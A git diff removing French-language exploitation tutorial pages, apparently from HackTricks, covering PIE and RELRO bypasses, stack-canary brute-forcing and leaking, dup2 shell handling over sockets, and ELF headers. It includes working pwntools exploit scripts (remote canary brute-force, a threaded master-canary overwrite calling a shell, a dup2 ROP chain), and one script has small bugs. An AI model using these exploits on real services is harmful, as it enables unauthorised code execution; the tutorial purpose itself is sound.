suppose que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité se situe dans le code binaire, sera généralement le cas. - -Pour brute-forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou s'il ne plante tout simplement pas. La **même fonction** que celle fournie pour brute-forcer le canary peut être utilisée pour brute-forcer le RBP et le RIP : -```python -from pwn import * - -def connect(): -r = remote("localhost", 8788) - -def get_bf(base): -canary = "" -guess = 0x0 -base += canary - -while len(canary) < 8: -while guess != 0xff: -r = connect() - -r.recvuntil("Username: ") -r.send(base + chr(guess)) - -if "SOME OUTPUT" in r.clean(): -print "Guessed correct byte:", format(guess, '02x') -canary += chr(guess) -base += chr(guess) -guess = 0x0 -r.close() -break -else: -guess += 1 -r.close() - -print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) -return base - -# CANARY BF HERE -canary_offset = 1176 -base = "A" * canary_offset -print("Brute-Forcing canary") -base_canary = get_bf(base) #Get yunk data + canary -CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary - -# PIE BF FROM HERE -print("Brute-Forcing RBP") -base_canary_rbp = get_bf(base_canary) -RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) -print("Brute-Forcing RIP") -base_canary_rbp_rip = get_bf(base_canary_rbp) -RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) -``` -La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer **des adresses utiles à partir des adresses divulguées** : le **RBP** et le **RIP**. - -À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile de savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis, vous pouvez calculer la distance entre le shellcode et le RBP : -```python -INI_SHELLCODE = RBP - 1152 -``` -À partir du **RIP**, vous pouvez calculer la **base de l'adresse du binaire PIE**, ce qui est nécessaire pour créer une **chaîne ROP valide**.\ -Pour calculer l'adresse de base, il suffit de faire `objdump -d vunbinary` et de vérifier les dernières adresses désassemblées : - -![](<../../../../images/image (145).png>) - -Dans cet exemple, vous pouvez voir que seulement **1 octet et demi est nécessaire** pour localiser tout le code, donc, l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué `0x562002970ecf`, l'adresse de base est `0x562002970000` -```python -elf.address = RIP - (RIP & 0xfff) -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md deleted file mode 100644 index 8145e6423..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md +++ /dev/null @@ -1,31 +0,0 @@ -# Relro - -{{#include ../../../banners/hacktricks-training.md}} - -## Relro - -**RELRO** signifie **Relocation Read-Only**, et c'est une fonctionnalité de sécurité utilisée dans les binaires pour atténuer les risques associés aux **écritures dans la GOT (Global Offset Table)**. Décomposons le concept en ses deux types distincts pour plus de clarté : **Partial RELRO** et **Full RELRO**. - -### **Partial RELRO** - -**Partial RELRO** adopte une approche plus simple pour améliorer la sécurité sans affecter significativement les performances du binaire. En **positionnant la GOT au-dessus des variables du programme en mémoire, Partial RELRO vise à empêcher les débordements de tampon d'atteindre et de corrompre la GOT**. - -Cela **n'empêche pas la GOT** d'être exploitée **à partir de vulnérabilités d'écriture arbitraire**. - -### **Full RELRO** - -**Full RELRO** renforce la protection en **rendant la GOT complètement en lecture seule.** Une fois que le binaire démarre, toutes les adresses de fonction sont résolues et chargées dans la GOT, puis, la GOT est marquée comme en lecture seule, empêchant effectivement toute modification pendant l'exécution. - -Cependant, le compromis avec Full RELRO se situe en termes de performances et de temps de démarrage. Parce qu'il doit résoudre tous les symboles dynamiques au démarrage avant de marquer la GOT comme en lecture seule, **les binaires avec Full RELRO activé peuvent connaître des temps de chargement plus longs**. Ce surcoût supplémentaire au démarrage est la raison pour laquelle Full RELRO n'est pas activé par défaut dans tous les binaires. - -Il est possible de voir si Full RELRO est activé dans un binaire avec : -```bash -readelf -l /proc/ID_PROC/exe | grep BIND_NOW -``` -## Bypass - -Si Full RELRO est activé, la seule façon de le contourner est de trouver un autre moyen qui ne nécessite pas d'écrire dans la table GOT pour obtenir une exécution arbitraire. - -Notez que la GOT de LIBC est généralement en Partial RELRO, donc elle peut être modifiée avec une écriture arbitraire. Plus d'informations dans [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md deleted file mode 100644 index e0304e262..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md +++ /dev/null @@ -1,70 +0,0 @@ -# Stack Canaries - -{{#include ../../../../banners/hacktricks-training.md}} - -## **StackGuard et StackShield** - -**StackGuard** insère une valeur spéciale connue sous le nom de **canary** avant le **EIP (Extended Instruction Pointer)**, spécifiquement `0x000aff0d` (représentant null, newline, EOF, carriage return) pour se protéger contre les débordements de tampon. Cependant, des fonctions comme `recv()`, `memcpy()`, `read()`, et `bcopy()` restent vulnérables, et cela ne protège pas le **EBP (Base Pointer)**. - -**StackShield** adopte une approche plus sophistiquée que StackGuard en maintenant une **Global Return Stack**, qui stocke toutes les adresses de retour (**EIPs**). Cette configuration garantit qu'un débordement ne cause pas de dommages, car elle permet une comparaison entre les adresses de retour stockées et réelles pour détecter les occurrences de débordement. De plus, StackShield peut vérifier l'adresse de retour par rapport à une valeur limite pour détecter si le **EIP** pointe en dehors de l'espace de données attendu. Cependant, cette protection peut être contournée par des techniques comme Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indiquant que StackShield ne protège également pas les variables locales. - -## **Stack Smash Protector (ProPolice) `-fstack-protector`:** - -Ce mécanisme place un **canary** avant le **EBP**, et réorganise les variables locales pour positionner les tampons à des adresses mémoire plus élevées, les empêchant d'écraser d'autres variables. Il copie également en toute sécurité les arguments passés sur la pile au-dessus des variables locales et utilise ces copies comme arguments. Cependant, il ne protège pas les tableaux de moins de 8 éléments ou les tampons dans une structure utilisateur. - -Le **canary** est un nombre aléatoire dérivé de `/dev/urandom` ou d'une valeur par défaut de `0xff0a0000`. Il est stocké dans **TLS (Thread Local Storage)**, permettant aux espaces mémoire partagés entre les threads d'avoir des variables globales ou statiques spécifiques au thread. Ces variables sont initialement copiées à partir du processus parent, et les processus enfants peuvent modifier leurs données sans affecter le parent ou les frères et sœurs. Néanmoins, si un **`fork()` est utilisé sans créer un nouveau canary, tous les processus (parent et enfants) partagent le même canary**, le rendant vulnérable. Sur l'architecture **i386**, le canary est stocké à `gs:0x14`, et sur **x86_64**, à `fs:0x28`. - -Cette protection locale identifie les fonctions avec des tampons vulnérables aux attaques et injecte du code au début de ces fonctions pour placer le canary, et à la fin pour vérifier son intégrité. - -Lorsqu'un serveur web utilise `fork()`, il permet une attaque par force brute pour deviner le canary octet par octet. Cependant, l'utilisation de `execve()` après `fork()` écrase l'espace mémoire, annulant l'attaque. `vfork()` permet au processus enfant de s'exécuter sans duplication jusqu'à ce qu'il tente d'écrire, moment auquel un duplicata est créé, offrant une approche différente pour la création de processus et la gestion de la mémoire. - -### Longueurs - -Dans les binaires `x64`, le cookie canary est un **`0x8`** byte qword. Les **sept premiers octets sont aléatoires** et le dernier octet est un **octet nul.** - -Dans les binaires `x86`, le cookie canary est un **`0x4`** byte dword. Les **trois premiers octets sont aléatoires** et le dernier octet est un **octet nul.** - -> [!CAUTION] -> L'octet de poids faible des deux canaries est un octet nul car il sera le premier dans la pile venant d'adresses inférieures et donc **les fonctions qui lisent des chaînes s'arrêteront avant de le lire**. - -## Contournements - -**Fuite du canary** puis écriture de sa propre valeur (par exemple, débordement de tampon). - -- Si le **canary est forké dans des processus enfants**, il pourrait être possible de **brute-forcer** un octet à la fois : - -{{#ref}} -bf-forked-stack-canaries.md -{{#endref}} - -- S'il y a une **fuite intéressante ou une vulnérabilité de lecture arbitraire** dans le binaire, il pourrait être possible de le fuir : - -{{#ref}} -print-stack-canary.md -{{#endref}} - -- **Écriture sur les pointeurs stockés dans la pile** - -La pile vulnérable à un débordement de pile pourrait **contenir des adresses de chaînes ou de fonctions qui peuvent être écrasées** afin d'exploiter la vulnérabilité sans avoir besoin d'atteindre le canary de la pile. Vérifiez : - -{{#ref}} -../../stack-overflow/pointer-redirecting.md -{{#endref}} - -- **Modifier à la fois le canary maître et le canary de thread** - -Un débordement de tampon dans une fonction threadée protégée par un canary peut être utilisé pour modifier le canary maître du thread. En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés). - -- **Modifier l'entrée GOT de `__stack_chk_fail`** - -Si le binaire a un Partial RELRO, alors vous pouvez utiliser une écriture arbitraire pour modifier l'entrée GOT de `__stack_chk_fail` pour être une fonction factice qui ne bloque pas le programme si le canary est modifié. - -## Références - -- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) -- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bits, pas de PIE, nx, modifier le canary de thread et maître. -- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -- 64 bits, pas de PIE, nx, primitive write-what-where. Modifier l'entrée GOT de `__stack_chk_fail`. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md deleted file mode 100644 index 7a117f354..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ /dev/null @@ -1,218 +0,0 @@ -# BF Forked & Threaded Stack Canaries - -{{#include ../../../../banners/hacktricks-training.md}} - -**Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.** - -![](<../../../../images/image (144).png>) - -> [!NOTE] -> Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.\ -> Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie. - -## Brute force Canary - -Le meilleur moyen de contourner un canary simple est si le binaire est un programme **créant des processus enfants chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous y connectez, **le même canary sera utilisé**. - -Ensuite, le meilleur moyen de contourner le canary est simplement de **le brute-forcer caractère par caractère**, et vous pouvez déterminer si le byte de canary deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **brute-force un canary de 8 octets (x64)** et distingue entre un byte deviné correctement et un mauvais byte juste en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre méthode dans **d'autres situations** pourrait être d'utiliser un **try/except**): - -### Exemple 1 - -Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits. -```python -from pwn import * - -def connect(): -r = remote("localhost", 8788) - -def get_bf(base): -canary = "" -guess = 0x0 -base += canary - -while len(canary) < 8: -while guess != 0xff: -r = connect() - -r.recvuntil("Username: ") -r.send(base + chr(guess)) - -if "SOME OUTPUT" in r.clean(): -print "Guessed correct byte:", format(guess, '02x') -canary += chr(guess) -base += chr(guess) -guess = 0x0 -r.close() -break -else: -guess += 1 -r.close() - -print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) -return base - -canary_offset = 1176 -base = "A" * canary_offset -print("Brute-Forcing canary") -base_canary = get_bf(base) #Get yunk data + canary -CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary -``` -### Exemple 2 - -Ceci est implémenté pour 32 bits, mais cela pourrait être facilement changé en 64 bits.\ -Notez également que pour cet exemple, le **programme s'attend d'abord à un octet pour indiquer la taille de l'entrée** et la charge utile. -```python -from pwn import * - -# Here is the function to brute force the canary -def breakCanary(): -known_canary = b"" -test_canary = 0x0 -len_bytes_to_read = 0x21 - -for j in range(0, 4): -# Iterate up to 0xff times to brute force all posible values for byte -for test_canary in range(0xff): -print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - -# Send the current input size -target.send(len_bytes_to_read.to_bytes(1, "little")) - -# Send this iterations canary -target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - -# Scan in the output, determine if we have a correct value -output = target.recvuntil(b"exit.") -if b"YUM" in output: -# If we have a correct value, record the canary value, reset the canary value, and move on -print(" - next byte is: " + hex(test_canary)) -known_canary = known_canary + test_canary.to_bytes(1, "little") -len_bytes_to_read += 1 -break - -# Return the canary -return known_canary - -# Start the target process -target = process('./feedme') -#gdb.attach(target) - -# Brute force the canary -canary = breakCanary() -log.info(f"The canary is: {canary}") -``` -## Threads - -Les threads du même processus **partageront le même jeton canari**, il sera donc possible de **brute-forcer** un canari si le binaire crée un nouveau thread chaque fois qu'une attaque se produit. - -Un débordement de tampon dans une fonction multithreadée protégée par un canari peut être utilisé pour modifier le canari maître du processus. En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaris qui sont identiques (bien que modifiés). - -### Example - -Le programme suivant est vulnérable au débordement de tampon, mais il est compilé avec un canari : -```c -#include -#include -#include -#include - -// gcc thread_canary.c -no-pie -l pthread -o thread_canary - -void win() { -execve("/bin/sh", NULL, NULL); -} - -void* vuln() { -char data[0x20]; -gets(data); -} - -int main() { -pthread_t thread; - -pthread_create(&thread, NULL, vuln, NULL); -pthread_join(thread, NULL); - -return 0; -} -``` -Remarquez que `vuln` est appelé à l'intérieur d'un thread. Dans GDB, nous pouvons examiner `vuln`, en particulier, au point où le programme appelle `gets` pour lire les données d'entrée : -```bash -gef> break gets -Breakpoint 1 at 0x4010a0 -gef> run -... -gef> x/10gx $rdi -0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 -0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 -0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 -0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 -0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 -``` -L'adresse ci-dessus représente l'adresse de `data`, où le programme écrira l'entrée de l'utilisateur. Le stack canary se trouve à `0x7ffff7d7ee48` (`0x493fdc653a156800`), et l'adresse de retour est à `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`) : -```bash -gef> telescope $rdi 8 -n -0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi -0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 -0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 -0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 -0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 -0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary -0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp -0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] -``` -Remarquez que les adresses de la pile n'appartiennent pas à la pile réelle : -```bash -gef> vmmap stack -[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] -Start End Size Offset Perm Path -0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 -0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 -``` -La pile du thread est placée au-dessus du stockage local du thread (TLS), où le maître canari est stocké : -```bash -gef> tls -$tls = 0x7ffff7d7f640 -... ----------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- -0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 -0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 -0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] -0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 -0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 -0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary -0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie -0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 -... -``` -> [!NOTE] -> Certaines des fonctions GDB ci-dessus sont définies dans une extension appelée [bata24/gef](https://github.com/bata24/gef), qui a plus de fonctionnalités que le [hugsy/gef](https://github.com/hugsy/gef). - -En conséquence, un grand Buffer Overflow peut permettre de modifier à la fois le stack canary et le master canary dans le TLS. Voici le décalage : -```bash -gef> p/x 0x7ffff7d7f668 - $rdi -$1 = 0x848 -``` -Ceci est un court exploit pour appeler `win` : -```python -from pwn import * - -context.binary = 'thread_canary' - -payload = b'A' * 0x28 # buffer overflow offset -payload += b'BBBBBBBB' # overwritting stack canary -payload += b'A' * 8 # saved $rbp -payload += p64(context.binary.sym.win) # return address -payload += b'A' * (0x848 - len(payload)) # padding -payload += b'BBBBBBBB' # overwritting master canary - -io = context.binary.process() -io.sendline(payload) -io.interactive() -``` -## Autres exemples et références - -- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bits, pas de PIE, nx, BF canary, écrire dans une mémoire un ROP pour appeler `execve` et sauter là. -- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bits, pas de PIE, nx, modifier le thread et le canary maître. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md deleted file mode 100644 index 443e965a2..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ /dev/null @@ -1,28 +0,0 @@ -# Imprimer le Stack Canary - -{{#include ../../../../banners/hacktricks-training.md}} - -## Agrandir le stack imprimé - -Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers **une partie** du **déborde de pile**. L'attaquant sait que **le premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est constitué de **octets aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**. - -Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile, ce qui **imprimera tout le canary** (sauf le premier octet nul). - -Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme). - -Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**. - -**Exemples CTF :** - -- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'à l'octet 0x00 du canary pour ensuite appeler puts et le divulguer. Avec le canary, un gadget ROP est créé pour appeler puts afin de divulguer l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')` - -## Lecture Arbitraire - -Avec une lecture arbitraire comme celle fournie par les **chaînes de format**, il pourrait être possible de divulguer le canary. Consultez cet exemple : [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) et vous pouvez lire sur l'abus des chaînes de format pour lire des adresses mémoire arbitraires dans : - -{{#ref}} -../../format-strings/ -{{#endref}} - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md deleted file mode 100644 index 5152f28ff..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md +++ /dev/null @@ -1,36 +0,0 @@ -# Problèmes d'Exploitation Courants - -{{#include ../../banners/hacktricks-training.md}} - -## FDs dans l'Exploitation à Distance - -Lors de l'envoi d'un exploit à un serveur distant qui appelle **`system('/bin/sh')`**, par exemple, cela sera exécuté dans le processus du serveur, et `/bin/sh` s'attendra à une entrée de stdin (FD : `0`) et imprimera la sortie dans stdout et stderr (FDs `1` et `2`). Ainsi, l'attaquant ne pourra pas interagir avec le shell. - -Une façon de résoudre ce problème est de supposer que lorsque le serveur a démarré, il a créé le **FD numéro `3`** (pour écouter) et que, par conséquent, votre connexion sera dans le **FD numéro `4`**. Il est donc possible d'utiliser l'appel système **`dup2`** pour dupliquer le stdin (FD 0) et le stdout (FD 1) dans le FD 4 (celui de la connexion de l'attaquant) afin de rendre possible le contact avec le shell une fois qu'il est exécuté. - -[**Exemple d'exploit ici**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = remote('localhost', 9001) - -rop = ROP(elf) -rop.raw('A' * 40) -rop.dup2(4, 0) -rop.dup2(4, 1) -rop.win() - -p.sendline(rop.chain()) -p.recvuntil('Thanks!\x00') -p.interactive() -``` -## Socat & pty - -Notez que socat transfère déjà `stdin` et `stdout` vers le socket. Cependant, le mode `pty` **inclut les caractères DELETE**. Donc, si vous envoyez un `\x7f` ( `DELETE` -) cela **supprimera le caractère précédent** de votre exploit. - -Pour contourner cela, le **caractère d'échappement `\x16` doit être préfixé à tout `\x7f` envoyé.** - -**Ici, vous pouvez** [**trouver un exemple de ce comportement**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md deleted file mode 100644 index 7a057610b..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ /dev/null @@ -1,382 +0,0 @@ -# ELF Tricks - -{{#include ../../banners/hacktricks-training.md}} - -## Program Headers - -Ils décrivent au chargeur comment charger l'ELF en mémoire : -```bash -readelf -lW lnstat - -Elf file type is DYN (Position-Independent Executable file) -Entry point 0x1c00 -There are 9 program headers, starting at offset 64 - -Program Headers: -Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align -PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 -INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 -[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] -LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 -LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 -DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 -NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 -GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 -GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 -GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - -Section to Segment mapping: -Segment Sections... -00 -01 .interp -02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame -03 .init_array .fini_array .dynamic .got .data .bss -04 .dynamic -05 .note.gnu.build-id .note.ABI-tag .note.package -06 .eh_frame_hdr -07 -08 .init_array .fini_array .dynamic .got -``` -Le programme précédent a **9 en-têtes de programme**, puis, le **mappage des segments** indique dans quel en-tête de programme (de 00 à 08) **chaque section est située**. - -### PHDR - En-tête de programme - -Contient les tables d'en-têtes de programme et les métadonnées elles-mêmes. - -### INTERP - -Indique le chemin du chargeur à utiliser pour charger le binaire en mémoire. - -### LOAD - -Ces en-têtes sont utilisés pour indiquer **comment charger un binaire en mémoire.**\ -Chaque en-tête **LOAD** indique une région de **mémoire** (taille, permissions et alignement) et indique les octets du binaire ELF **à copier là-dedans**. - -Par exemple, le deuxième a une taille de 0x1190, devrait être situé à 0x1fc48 avec des permissions de lecture et d'écriture et sera rempli avec 0x528 à partir de l'offset 0xfc48 (il ne remplit pas tout l'espace réservé). Cette mémoire contiendra les sections `.init_array .fini_array .dynamic .got .data .bss`. - -### DYNAMIC - -Cet en-tête aide à lier les programmes à leurs dépendances de bibliothèque et à appliquer des relocations. Vérifiez la section **`.dynamic`**. - -### NOTE - -Cela stocke des informations sur les métadonnées du fournisseur concernant le binaire. - -### GNU_EH_FRAME - -Définit l'emplacement des tables de dépliage de pile, utilisées par les débogueurs et les fonctions d'exécution des exceptions C++. - -### GNU_STACK - -Contient la configuration de la défense contre l'exécution de la pile. Si activé, le binaire ne pourra pas exécuter de code depuis la pile. - -### GNU_RELRO - -Indique la configuration RELRO (Relocation Read-Only) du binaire. Cette protection marquera comme en lecture seule certaines sections de la mémoire (comme le `GOT` ou les tables `init` et `fini`) après que le programme a été chargé et avant qu'il ne commence à s'exécuter. - -Dans l'exemple précédent, il copie 0x3b8 octets à 0x1fc48 en lecture seule affectant les sections `.init_array .fini_array .dynamic .got .data .bss`. - -Notez que RELRO peut être partiel ou complet, la version partielle ne protège pas la section **`.plt.got`**, qui est utilisée pour **lazy binding** et nécessite cet espace mémoire pour avoir **des permissions d'écriture** afin d'écrire l'adresse des bibliothèques la première fois que leur emplacement est recherché. - -### TLS - -Définit une table d'entrées TLS, qui stocke des informations sur les variables locales au thread. - -## En-têtes de section - -Les en-têtes de section donnent une vue plus détaillée du binaire ELF. -``` -objdump lnstat -h - -lnstat: file format elf64-littleaarch64 - -Sections: -Idx Name Size VMA LMA File off Algn -0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 -CONTENTS, ALLOC, LOAD, READONLY, DATA -1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 -CONTENTS, ALLOC, LOAD, READONLY, DATA -7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 -CONTENTS, ALLOC, LOAD, READONLY, DATA -8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 -CONTENTS, ALLOC, LOAD, READONLY, CODE -12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 -CONTENTS, ALLOC, LOAD, READONLY, CODE -13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 -CONTENTS, ALLOC, LOAD, READONLY, CODE -14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 -CONTENTS, ALLOC, LOAD, READONLY, CODE -15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 